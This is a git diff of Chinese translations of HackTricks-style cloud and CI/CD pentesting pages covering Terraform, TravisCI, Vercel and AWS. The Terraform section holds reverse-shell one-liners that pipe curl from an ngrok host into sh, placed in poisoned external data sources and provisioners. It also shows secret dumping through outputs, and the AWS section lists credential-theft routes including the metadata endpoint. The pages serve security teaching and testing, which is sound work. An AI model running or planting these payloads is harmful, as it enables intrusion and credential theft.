您定义资源,这些资源可能跨多个云提供商和服务。例如,您可能会创建一个配置,以在具有安全组和负载均衡器的虚拟私有云 (VPC) 网络中的虚拟机上部署应用程序。 +- **计划:** Terraform 创建一个执行计划,描述它将根据现有基础设施和您的配置创建、更新或销毁的基础设施。 +- **应用:** 经批准后,Terraform 按照正确的顺序执行提议的操作,尊重任何资源依赖关系。例如,如果您更新 VPC 的属性并更改该 VPC 中虚拟机的数量,Terraform 将在扩展虚拟机之前重新创建 VPC。 ![](<../images/image (215).png>) @@ -48,13 +48,13 @@ atlantis-security.md ### Terraform plan -Terraform plan 是 terraform 中 **使用最频繁的命令**,开发人员/使用 terraform 的解决方案一直在调用它,因此,**获得 RCE 的最简单方法**是确保您毒化一个 terraform 配置文件,该文件将在 `terraform plan` 中执行任意命令。 +Terraform plan 是 terraform 中 **使用最频繁的命令**,开发人员/使用 terraform 的解决方案一直在调用它,因此 **获得 RCE 的最简单方法** 是确保您毒化一个 terraform 配置文件,该文件将在 `terraform plan` 中执行任意命令。 **使用外部提供程序** -Terraform 提供了 [`external` 提供程序](https://registry.terraform.io/providers/hashicorp/external/latest/docs),它提供了一种在 Terraform 和外部程序之间进行接口的方法。您可以使用 `external` 数据源在 `plan` 期间运行任意代码。 +Terraform 提供了 [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs),它提供了一种在 Terraform 和外部程序之间进行接口的方法。您可以使用 `external` 数据源在 `plan` 期间运行任意代码。 -在 terraform 配置文件中注入如下内容将在执行 `terraform plan` 时执行一个反向 shell: +在 terraform 配置文件中注入如下内容将在执行 `terraform plan` 时执行反向 shell: ```javascript data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] @@ -91,7 +91,7 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module ``` 您可以在 [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) 找到 rev shell 代码。 -- 在外部资源中,使用 **ref** 功能来隐藏 **repo 中分支的 terraform rev shell 代码**,类似于: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- 在外部资源中,使用 **ref** 功能来隐藏 **repo 中分支里的 terraform rev shell 代码**,类似于:`git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply @@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -遵循**前一种技术的建议**,以**更隐蔽的方式使用外部引用**执行此攻击。 +遵循**前一种技术的建议**以**更隐蔽的方式使用外部引用**执行此攻击。 ## Secrets Dumps -您可以通过运行 `terraform apply` 来**转储 terraform 使用的秘密值**,方法是向 terraform 文件中添加如下内容: +您可以通过运行 `terraform apply` 来**转储 terraform 使用的秘密值**,方法是向 terraform 文件中添加类似的内容: ```json output "dotoken" { value = nonsensitive(var.do_token) @@ -190,7 +190,7 @@ program = ["sh", "-c", "whoami"] ### [**Snyk 基础设施即代码 (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk 提供全面的基础设施即代码 (IaC) 扫描解决方案,能够检测 Terraform、CloudFormation、Kubernetes 和其他 IaC 格式中的漏洞和配置错误。 +Snyk 提供全面的基础设施即代码 (IaC) 扫描解决方案,能够检测 Terraform、CloudFormation、Kubernetes 和其他 IaC 格式中的漏洞和错误配置。 - **特点:** - 实时扫描安全漏洞和合规性问题。 @@ -208,7 +208,7 @@ snyk iac test /path/to/terraform/code **Checkov** 是一个用于基础设施即代码 (IaC) 的静态代码分析工具,同时也是一个用于图像和开源包的软件组成分析 (SCA) 工具。 -它扫描使用 [Terraform](https://terraform.io/) 提供的云基础设施、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md)、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md)、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md)、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md)、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md)、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md)、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md)、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md)、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md)、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md)、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) 或 [OpenTofu](https://opentofu.org/) 提供的,并使用基于图形的扫描检测安全和合规性错误配置。 +它扫描使用 [Terraform](https://terraform.io/) 、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md) 、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md) 、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md) 、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md) 、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md) 、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md) 、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md) 、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md) 、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md) 、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md) 、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) 或 [OpenTofu](https://opentofu.org/) 提供的云基础设施,并使用基于图的扫描检测安全和合规性错误配置。 它执行 [软件组成分析 (SCA) 扫描](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md),这是对开源包和图像进行的扫描,以查找常见漏洞和暴露 (CVE)。 ```bash @@ -217,14 +217,14 @@ checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -来自 [**docs**](https://github.com/terraform-compliance/cli):`terraform-compliance` 是一个轻量级的,专注于安全和合规性的测试框架,针对 terraform 以启用基础设施即代码的负面测试能力。 +来自 [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` 是一个轻量级的、专注于安全和合规性的测试框架,针对 terraform 进行负面测试,以支持您的基础设施即代码。 -- **合规性:** 确保实施的代码遵循安全标准和您自己的自定义标准 -- **行为驱动开发:** 我们几乎为所有事物都采用 BDD,为什么不为 IaC 采用呢? -- **可移植:** 只需从 `pip` 安装或通过 `docker` 运行。请参见 [安装](https://terraform-compliance.com/pages/installation/) -- **预部署:** 在代码部署之前进行验证 -- **易于集成:** 它可以在您的管道中运行(或在 git hooks 中),以确保所有部署都经过验证。 -- **职责分离:** 您可以将测试保存在不同的代码库中,由一个独立的团队负责。 +- **合规性:** 确保实施的代码遵循安全标准和您自己的自定义标准 +- **行为驱动开发:** 我们几乎为所有事物都采用 BDD,为什么不为 IaC 呢? +- **可移植:** 只需从 `pip` 安装或通过 `docker` 运行。请参见 [Installation](https://terraform-compliance.com/pages/installation/) +- **预部署:** 在代码部署之前进行验证 +- **易于集成:** 它可以在您的管道中运行(或在 git hooks 中),以确保所有部署都经过验证。 +- **职责分离:** 您可以将测试保存在不同的代码库中,由一个独立的团队负责。 > [!NOTE] > 不幸的是,如果代码使用了一些您没有访问权限的提供者,您将无法执行 `terraform plan` 并运行此工具。 @@ -235,19 +235,19 @@ terraform-compliance -f /path/to/folder ``` ### [tfsec](https://github.com/aquasecurity/tfsec) -来自[**docs**](https://github.com/aquasecurity/tfsec):tfsec使用对您的terraform代码的静态分析来发现潜在的错误配置。 +来自 [**docs**](https://github.com/aquasecurity/tfsec):tfsec 使用静态分析您的 terraform 代码来发现潜在的错误配置。 - ☁️ 检查所有主要(和一些次要)云提供商的错误配置 - ⛔ 数百条内置规则 - 🪆 扫描模块(本地和远程) -- ➕ 评估HCL表达式以及字面值 -- ↪️ 评估Terraform函数,例如`concat()` -- 🔗 评估Terraform资源之间的关系 -- 🧰 与Terraform CDK兼容 -- 🙅 应用(并美化)用户定义的Rego策略 -- 📃 支持多种输出格式:lovely(默认),JSON,SARIF,CSV,CheckStyle,JUnit,文本,Gif。 -- 🛠️ 可配置(通过CLI标志和/或配置文件) -- ⚡ 非常快速,能够快速扫描大型代码库 +- ➕ 评估 HCL 表达式以及字面值 +- ↪️ 评估 Terraform 函数,例如 `concat()` +- 🔗 评估 Terraform 资源之间的关系 +- 🧰 与 Terraform CDK 兼容 +- 🙅 应用(并美化)用户定义的 Rego 策略 +- 📃 支持多种输出格式:可爱(默认)、JSON、SARIF、CSV、CheckStyle、JUnit、文本、Gif。 +- 🛠️ 可配置(通过 CLI 标志和/或配置文件) +- ⚡ 非常快速,能够快速扫描巨大的代码库 ```bash brew install tfsec tfsec /path/to/folder @@ -262,13 +262,13 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` ### [Terrascan](https://github.com/tenable/terrascan) -来自[**文档**](https://github.com/tenable/terrascan):Terrascan 是一个用于基础设施即代码的静态代码分析器。Terrascan 允许您: +来自[**文档**](https://github.com/tenable/terrascan):Terrascan是一个用于基础设施即代码的静态代码分析器。Terrascan允许您: - 无缝扫描基础设施即代码中的错误配置。 -- 监控已配置的云基础设施的配置更改,以防止姿态漂移,并能够恢复到安全姿态。 +- 监控已配置的云基础设施的配置更改,这些更改会引入姿态漂移,并能够恢复到安全姿态。 - 检测安全漏洞和合规性违规。 - 在配置云原生基础设施之前减轻风险。 -- 提供灵活性,可以在本地运行或与您的 CI\CD 集成。 +- 提供灵活性以在本地运行或与您的CI\CD集成。 ```bash brew install terrascan ``` diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md index 2118a6ebb..2924a7200 100644 --- a/src/pentesting-ci-cd/travisci-security/README.md +++ b/src/pentesting-ci-cd/travisci-security/README.md @@ -1,4 +1,4 @@ -# TravisCI Security +# TravisCI 安全 {{#include ../../banners/hacktricks-training.md}} @@ -25,25 +25,25 @@ basic-travisci-information.md ![](<../../images/image (243).png>) > [!NOTE] -> 根据 [这个](https://github.com/travis-ci/travis-ci/issues/9162) 的说法,似乎无法在 `.travis.yml` 中设置定时任务。 +> 根据 [this](https://github.com/travis-ci/travis-ci/issues/9162),似乎无法在 `.travis.yml` 中设置定时任务。 ### 第三方 PR -TravisCI 默认禁用与来自第三方的 PR 共享环境变量,但有人可能会启用它,然后您可以创建 PR 到该仓库并提取机密: +TravisCI 默认情况下禁用与来自第三方的 PR 共享环境变量,但有人可能会启用它,然后您可以创建 PR 到该仓库并提取机密: ![](<../../images/image (208).png>) ### 转储机密 -如 [**基本信息**](basic-travisci-information.md) 页面所述,有两种类型的机密。**环境变量机密**(在网页上列出)和 **自定义加密机密**,这些机密存储在 `.travis.yml` 文件中,采用 base64 编码(请注意,两个加密存储的最终都会作为环境变量出现在最终机器上)。 +如 [**基本信息**](basic-travisci-information.md) 页面所述,有两种类型的机密。**环境变量机密**(在网页上列出)和 **自定义加密机密**,这些机密存储在 `.travis.yml` 文件中,采用 base64 编码(请注意,两个加密存储的最终都会作为环境变量出现在最终机器中)。 -- 要 **枚举配置为环境变量的机密**,请转到 **项目** 的 **设置** 并检查列表。但是,请注意,在触发构建时,这里设置的所有项目环境变量都会出现。 -- 要枚举 **自定义加密机密**,您能做的最好是 **检查 `.travis.yml` 文件**。 +- 要 **枚举配置为环境变量的机密**,请转到 **项目** 的 **设置** 并检查列表。但是,请注意,在触发构建时,此处设置的所有项目环境变量都会出现。 +- 要枚举 **自定义加密机密**,您可以做的最好的是 **检查 `.travis.yml` 文件**。 - 要 **枚举加密文件**,您可以检查仓库中的 **`.enc` 文件**,查找配置文件中类似于 `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` 的行,或在 **环境变量** 中查找 **加密的 iv 和密钥**,例如: ![](<../../images/image (81).png>) -### 待办事项: +### TODO: - 示例构建在 Windows/Mac/Linux 上运行反向 shell - 示例构建在日志中泄露环境变量的 base64 编码 @@ -52,7 +52,7 @@ TravisCI 默认禁用与来自第三方的 PR 共享环境变量,但有人可 如果攻击者进入一个使用 **TravisCI 企业版** 的环境(有关这是什么的更多信息,请参见 [**基本信息**](basic-travisci-information.md#travisci-enterprise)),他将能够 **在 Worker 中触发构建**。这意味着攻击者将能够从中横向移动到该服务器,从而能够: -- 逃逸到主机? +- 逃离到主机? - 破坏 kubernetes? - 破坏同一网络中运行的其他机器? - 破坏新的云凭证? diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md index 73b45462a..d4c2754d0 100644 --- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md +++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md @@ -1,8 +1,8 @@ -# Basic TravisCI Information +# 基本 TravisCI 信息 {{#include ../../banners/hacktricks-training.md}} -## Access +## 访问 TravisCI 直接与不同的 git 平台集成,如 Github、Bitbucket、Assembla 和 Gitlab。它会要求用户授予 TravisCI 访问他想要与 TravisCI 集成的仓库的权限。 @@ -12,19 +12,19 @@ TravisCI 直接与不同的 git 平台集成,如 Github、Bitbucket、Assembla - `read:org`(只读) - `repo`:授予对公共和私有仓库及组织的代码、提交状态、协作者和部署状态的读写访问权限。 -## Encrypted Secrets +## 加密秘密 -### Environment Variables +### 环境变量 -在 TravisCI 中,与其他 CI 平台一样,可以 **在仓库级别保存秘密**,这些秘密将被加密保存,并在执行构建的机器的 **环境变量** 中 **解密并推送**。 +在 TravisCI 中,与其他 CI 平台一样,可以在仓库级别**保存秘密**,这些秘密将被加密保存,并在执行构建的机器的**环境变量**中**解密并推送**。 ![](<../../images/image (203).png>) -可以指示 **秘密将可用的分支**(默认是所有)以及 TravisCI **是否应该隐藏其值**,如果它出现在 **日志中**(默认会隐藏)。 +可以指示**秘密将可用的分支**(默认是所有)以及 TravisCI 是否**应隐藏其值**,如果它出现在**日志中**(默认会隐藏)。 -### Custom Encrypted Secrets +### 自定义加密秘密 -对于 **每个仓库**,TravisCI 生成一个 **RSA 密钥对**,**保留** **私钥**,并将仓库的 **公钥提供给** 有 **访问权限** 的人。 +对于**每个仓库**,TravisCI 生成一个**RSA 密钥对**,**保留**私钥,并将仓库的**公钥提供给**有权访问该仓库的人。 您可以通过以下方式访问一个仓库的公钥: ``` @@ -35,7 +35,7 @@ travis pubkey -r carlospolop/t-ci-test ![](<../../images/image (139).png>) -请注意,以这种方式加密的秘密不会出现在设置的环境变量列表中。 +请注意,以这种方式加密的秘密不会出现在设置的环境变量中。 ### 自定义加密文件 @@ -57,13 +57,13 @@ Make sure to add super_secret.txt.enc to the git repository. Make sure not to add super_secret.txt to the git repository. Commit all changes to your .travis.yml. ``` -注意,当加密文件时,将在仓库中配置 2 个环境变量,如下所示: +注意,当加密文件时,将在仓库中配置 2 个环境变量,例如: ![](<../../images/image (170).png>) ## TravisCI 企业版 -Travis CI 企业版是 **Travis CI 的本地版本**,您可以在 **您的基础设施中部署**。可以将其视为 Travis CI 的“服务器”版本。使用 Travis CI 允许您在一个环境中启用易于使用的持续集成/持续部署 (CI/CD) 系统,您可以根据需要进行配置和安全设置。 +Travis CI 企业版是 **Travis CI 的本地版本**,您可以在 **您的基础设施中部署**。可以将其视为 Travis CI 的“服务器”版本。使用 Travis CI 可以在您可以根据需要配置和保护的环境中启用易于使用的持续集成/持续部署 (CI/CD) 系统。 **Travis CI 企业版由两个主要部分组成:** @@ -73,12 +73,12 @@ Travis CI 企业版是 **Travis CI 的本地版本**,您可以在 **您的基 **TCI 核心服务需要以下内容:** 1. 一个 **PostgreSQL11**(或更高版本)数据库。 -2. 部署 Kubernetes 集群的基础设施;如果需要,可以在服务器集群中或单台机器上部署。 +2. 部署 Kubernetes 集群所需的基础设施;如果需要,可以在服务器集群中或单台机器上部署。 3. 根据您的设置,您可能希望自行部署和配置某些组件,例如 RabbitMQ - 有关更多详细信息,请参见 [设置 Travis CI 企业版](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/)。 **TCI 工作节点需要以下内容:** -1. 一个基础设施,可以在其中部署包含 **工作节点和链接的构建镜像** 的 Docker 镜像。 +1. 一个基础设施,可以在其中部署包含 **工作节点和链接的构建镜像** 的 docker 镜像。 2. 连接到某些 Travis CI 核心服务组件 - 有关更多详细信息,请参见 [设置工作节点](https://docs.travis-ci.com/user/enterprise/setting-up-worker/)。 部署的 TCI 工作节点和构建环境操作系统镜像的数量将决定您基础设施中 Travis CI 企业版部署的总并发容量。 diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md index 05d0a70bc..aac3bd740 100644 --- a/src/pentesting-ci-cd/vercel-security.md +++ b/src/pentesting-ci-cd/vercel-security.md @@ -39,7 +39,7 @@ - **风险:** 易受中间人(MITM)攻击,危及数据完整性和机密性。 - **DNSSEC 实施** - **错误配置:** 未能启用 DNSSEC 或 DNSSEC 设置不正确。 -- **风险:** 增加 DNS 欺骗和缓存投毒攻击的易受攻击性。 +- **风险:** 增加对 DNS 欺骗和缓存投毒攻击的易感性。 - **每个域名使用的环境** - **错误配置:** 更改生产中域名使用的环境。 - **风险:** 暴露潜在的秘密或不应在生产中可用的功能。 @@ -74,7 +74,7 @@ - **错误配置:** 如果禁用(默认),则可以读取生成的秘密的值。 - **风险:** 意外暴露或未经授权访问敏感信息的可能性增加。 - **共享环境变量** -- **错误配置:** 这些是在团队级别设置的环境变量,也可能包含敏感信息。 +- **错误配置:** 这些是在团队级别设置的环境变量,可能也包含敏感信息。 - **风险:** 意外暴露或未经授权访问敏感信息的可能性增加。 --- @@ -115,19 +115,19 @@ #### 安全配置: -**Vercel 身份验证** +**Vercel 认证** -- **错误配置:** 禁用身份验证或未强制执行团队成员检查。 +- **错误配置:** 禁用认证或未强制执行团队成员检查。 - **风险:** 未经授权的用户可以访问部署,导致数据泄露或应用程序滥用。 **自动化的保护绕过** -- **错误配置:** 公开绕过秘密或使用弱秘密。 +- **错误配置:** 公开暴露绕过秘密或使用弱秘密。 - **风险:** 攻击者可以绕过部署保护,访问和操纵受保护的部署。 -**可分享链接** +**可共享链接** -- **错误配置:** 不加选择地分享链接或未能撤销过期链接。 +- **错误配置:** 不加选择地共享链接或未能撤销过时链接。 - **风险:** 未经授权访问受保护的部署,绕过身份验证和 IP 限制。 **OPTIONS 允许列表** @@ -215,7 +215,7 @@ - **错误配置:** 允许未经授权的拉取请求而没有适当的审查。 - **风险:** 恶意代码可能被合并到代码库中,引入漏洞或后门。 -**使用 OIDC 联邦安全后端访问** +**使用 OIDC 联合身份验证的安全后端访问** - **错误配置:** 错误设置 OIDC 参数或使用不安全的发行者 URL。 - **风险:** 通过错误的身份验证流程未经授权访问后端服务。 @@ -227,7 +227,7 @@ **最近删除的部署** -- **错误配置:** 不监控已删除的部署或仅依赖自动删除。 +- **错误配置:** 未监控已删除的部署或仅依赖自动删除。 - **风险:** 丢失关键部署历史,妨碍审计和回滚。 --- @@ -265,14 +265,14 @@ ## 项目部署 -### 源 +### 源代码 - **错误配置:** 允许访问读取应用程序的完整源代码。 - **风险:** 潜在暴露敏感信息。 ### 偏差保护 -- **错误配置:** 此保护确保客户端和服务器应用程序始终使用相同版本,因此不会出现客户端使用与服务器不同版本的不同步情况。 +- **错误配置:** 此保护确保客户端和服务器应用程序始终使用相同版本,以避免客户端使用与服务器不同的版本而导致的不同步。 - **风险:** 禁用此功能(如果启用)可能导致未来新部署中的 DoS 问题。 --- @@ -310,22 +310,22 @@ - **错误配置:** 攻击者可能会通过邀请他控制的帐户来维持持久性。 - **风险:** 攻击者持久性。 - **角色** -- **错误配置:** 授予不需要的人员过多权限增加了 Vercel 配置的风险。检查所有可能的角色 [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)。 +- **错误配置:** 授予不需要的人员过多权限,增加 Vercel 配置的风险。检查所有可能的角色在 [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)。 - **风险:** 增加 Vercel 团队的暴露。 --- ### 访问组 -在 Vercel 中,**访问组**是具有预定义角色分配的项目和团队成员的集合,能够在多个项目之间实现集中和简化的访问管理。 +在 Vercel 中,**访问组**是一个项目和团队成员的集合,具有预定义的角色分配,能够在多个项目之间实现集中和简化的访问管理。 **潜在错误配置:** - **过度授权成员:** 分配的角色权限超过必要,导致未经授权的访问或操作。 - **不当角色分配:** 错误分配与团队成员职责不符的角色,导致特权升级。 - **缺乏项目隔离:** 未能分离敏感项目,允许比预期更广泛的访问。 -- **管理不足的组:** 未定期审查或更新访问组,导致过时或不当的访问权限。 -- **不一致的角色定义:** 在不同访问组中使用不一致或不清晰的角色定义,导致混淆和安全漏洞。 +- **组管理不足:** 未定期审查或更新访问组,导致过时或不当的访问权限。 +- **角色定义不一致:** 在不同访问组中使用不一致或不清晰的角色定义,导致混淆和安全漏洞。 --- @@ -349,13 +349,13 @@ - 使用常见电子邮件域(例如 `gmail.com`、`hotmail.com`)而不是公司特定域。 - **风险:** - **未经授权的访问:** 来自意外域的用户可能会收到加入您团队的邀请。 -- **数据暴露:** 潜在暴露敏感项目信息给未经授权的个人。 -- **受保护的 Git 范围:** 允许您为团队添加最多 5 个 Git 范围,以防止其他 Vercel 团队从受保护范围部署存储库。多个团队可以指定相同的范围,允许两个团队访问。 +- **数据暴露:** 敏感项目信息可能暴露给未经授权的个人。 +- **受保护的 Git 范围:** 允许您为团队添加最多 5 个 Git 范围,以防止其他 Vercel 团队从受保护的范围中部署存储库。多个团队可以指定相同的范围,允许两个团队访问。 - **错误配置:** 未将关键 Git 范围添加到受保护列表。 - **风险:** -- **未经授权的部署:** 其他团队可能未经授权从您组织的 Git 范围部署存储库。 +- **未经授权的部署:** 其他团队可能未经授权从您组织的 Git 范围中部署存储库。 - **知识产权暴露:** 专有代码可能被部署并在您的团队之外访问。 -- **环境变量策略:** 强制执行团队环境变量的创建和编辑策略。具体而言,您可以强制所有环境变量作为 **敏感环境变量** 创建,这只能由 Vercel 的部署系统解密。 +- **环境变量政策:** 强制执行团队环境变量的创建和编辑政策。具体而言,您可以强制所有环境变量作为 **敏感环境变量** 创建,这只能由 Vercel 的部署系统解密。 - **错误配置:** 保持对敏感环境变量的强制执行禁用。 - **风险:** - **秘密暴露:** 环境变量可能被未经授权的团队成员查看或编辑。 @@ -364,10 +364,10 @@ - **错误配置:**\ 授予未经授权的团队成员访问审计日志的权限。 - **风险:** -- **隐私侵犯:** 暴露敏感用户活动和数据。 +- **隐私侵犯:** 敏感用户活动和数据的暴露。 - **篡改日志:** 恶意行为者可能会更改或删除日志以掩盖其踪迹。 -- **SAML 单点登录:** 允许为您的团队自定义 SAML 身份验证和目录同步,支持与身份提供者(IdP)集成以实现集中身份验证和用户管理。 -- **错误配置:** 攻击者可能会在设置 SAML 参数(如实体 ID、SSO URL 或证书指纹)时后门团队。 +- **SAML 单点登录:** 允许自定义 SAML 身份验证和目录同步,以便与身份提供者(IdP)集成,实现集中身份验证和用户管理。 +- **错误配置:** 攻击者可能会通过设置 SAML 参数(如实体 ID、SSO URL 或证书指纹)来后门团队。 - **风险:** 维持持久性。 - **IP 地址可见性:** 控制 IP 地址是否在监控查询和日志排水中显示,这在某些数据保护法律下可能被视为个人信息。 - **错误配置:** 在没有必要的情况下保持 IP 地址可见性启用。 @@ -393,13 +393,13 @@ - **风险:** 延迟增加、潜在的数据驻留合规性问题和性能下降。 2. **重叠的 CIDR 块** - **错误配置:** 选择与现有 VPC 或其他网络重叠的 CIDR 块。 -- **风险:** 网络冲突导致连接失败、未经授权访问或网络间数据泄露。 +- **风险:** 网络冲突导致连接失败、未经授权访问或网络之间的数据泄露。 3. **不当的 VPC 对等配置** - **错误配置:** 错误设置 VPC 对等(例如,错误的 VPC ID、未完成的路由表更新)。 - **风险:** 通过错误的身份验证流程未经授权访问后端基础设施、连接失败和潜在的数据泄露。 4. **过多的项目分配** - **错误配置:** 在没有适当隔离的情况下将多个项目分配给单个安全计算网络。 -- **风险:** 共享 IP 暴露增加攻击面,可能允许被破坏的项目影响其他项目。 +- **风险:** 共享 IP 暴露增加攻击面,可能导致被破坏的项目影响其他项目。 5. **不充分的 IP 地址管理** - **错误配置:** 未能适当管理或轮换专用 IP 地址。 - **风险:** IP 欺骗、跟踪漏洞和如果 IP 与恶意活动相关联则可能被列入黑名单。 diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md index 87bde5f7b..9b27f0417 100644 --- a/src/pentesting-cloud/aws-security/README.md +++ b/src/pentesting-cloud/aws-security/README.md @@ -4,9 +4,9 @@ ## 基本信息 -**在开始对** AWS **环境进行渗透测试之前,您需要了解一些关于AWS工作原理的基本知识,以帮助您理解需要做什么,如何找到错误配置以及如何利用它们。** +**在开始对** AWS **环境进行渗透测试之前,您需要了解一些** 基本知识 **,以帮助您理解需要做什么、如何查找错误配置以及如何利用它们。** -组织层次结构、IAM和其他基本概念在以下内容中进行了说明: +组织层级、IAM 和其他基本概念在以下内容中进行了说明: {{#ref}} aws-basic-information/ @@ -27,44 +27,44 @@ aws-basic-information/ - [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/) - [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main) -## AWS 渗透测试者/红队方法论 +## AWS 渗透测试/红队方法论 -为了审计AWS环境,了解以下内容非常重要:哪些**服务正在使用**,什么**被暴露**,谁对什么有**访问权限**,以及内部AWS服务与**外部服务**是如何连接的。 +为了审计 AWS 环境,了解以下内容非常重要:哪些 **服务正在使用**,什么 **被暴露**,谁有 **访问权限**,以及内部 AWS 服务与 **外部服务** 如何连接。 -从红队的角度来看,**攻陷AWS环境的第一步**是设法获取一些**凭证**。以下是一些获取凭证的想法: +从红队的角度来看,**攻陷 AWS 环境的第一步**是设法获取一些 **凭证**。以下是一些获取凭证的想法: -- **在github(或类似平台)中的泄露** - OSINT -- **社会工程学** -- **密码**重用(密码泄露) -- AWS托管应用程序中的漏洞 -- [**服务器端请求伪造**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf)访问元数据端点 +- **泄露** 在 github(或类似平台)- OSINT +- **社交** 工程 +- **密码** 重用(密码泄露) +- AWS 托管应用程序中的漏洞 +- [**服务器端请求伪造**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) 访问元数据端点 - **本地文件读取** - `/home/USERNAME/.aws/credentials` - `C:\Users\USERNAME\.aws\credentials` -- 第三方**被攻破** -- **内部**员工 -- [**Cognito**](aws-services/aws-cognito-enum/#cognito)凭证 +- 第三方 **被攻破** +- **内部** 员工 +- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)凭证 -或者通过**攻陷一个未认证的服务**: +或者通过 **攻陷一个未认证的服务**: {{#ref}} aws-unauthenticated-enum-access/ {{#endref}} -或者如果您正在进行**审查**,您可以直接**请求凭证**,使用这些角色: +或者如果您正在进行 **审查**,您可以直接 **请求凭证**,使用这些角色: {{#ref}} aws-permissions-for-a-pentest.md {{#endref}} > [!NOTE] -> 在您成功获取凭证后,您需要知道**这些凭证属于谁**,以及**他们可以访问什么**,因此您需要执行一些基本的枚举: +> 在您成功获取凭证后,您需要知道 **这些凭证属于谁**,以及 **他们可以访问什么**,因此您需要进行一些基本的枚举: ## 基本枚举 ### SSRF -如果您在AWS内部的机器上发现了SSRF,请查看此页面以获取技巧: +如果您在 AWS 内部的机器上发现了 SSRF,请查看此页面以获取技巧: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -72,7 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### Whoami -您需要了解的第一件事是您是谁(您所在的账户以及有关AWS环境的其他信息): +您需要了解的第一件事是您是谁(您所在的账户以及有关 AWS 环境的其他信息): ```bash # Easiest way, but might be monitored? aws sts get-caller-identity @@ -92,17 +92,17 @@ curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic > 注意,公司可能会使用 **canary tokens** 来识别 **令牌被盗用和使用** 的情况。在使用令牌之前,建议检查它是否为 canary token。\ > 更多信息请 [**查看此页面**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass)。 -### Org Enumeration +### 组织枚举 {{#ref}} aws-services/aws-organizations-enum.md {{#endref}} -### IAM Enumeration +### IAM 枚举 如果您拥有足够的权限,**检查 AWS 账户内每个实体的权限** 将帮助您了解您和其他身份可以做什么,以及如何 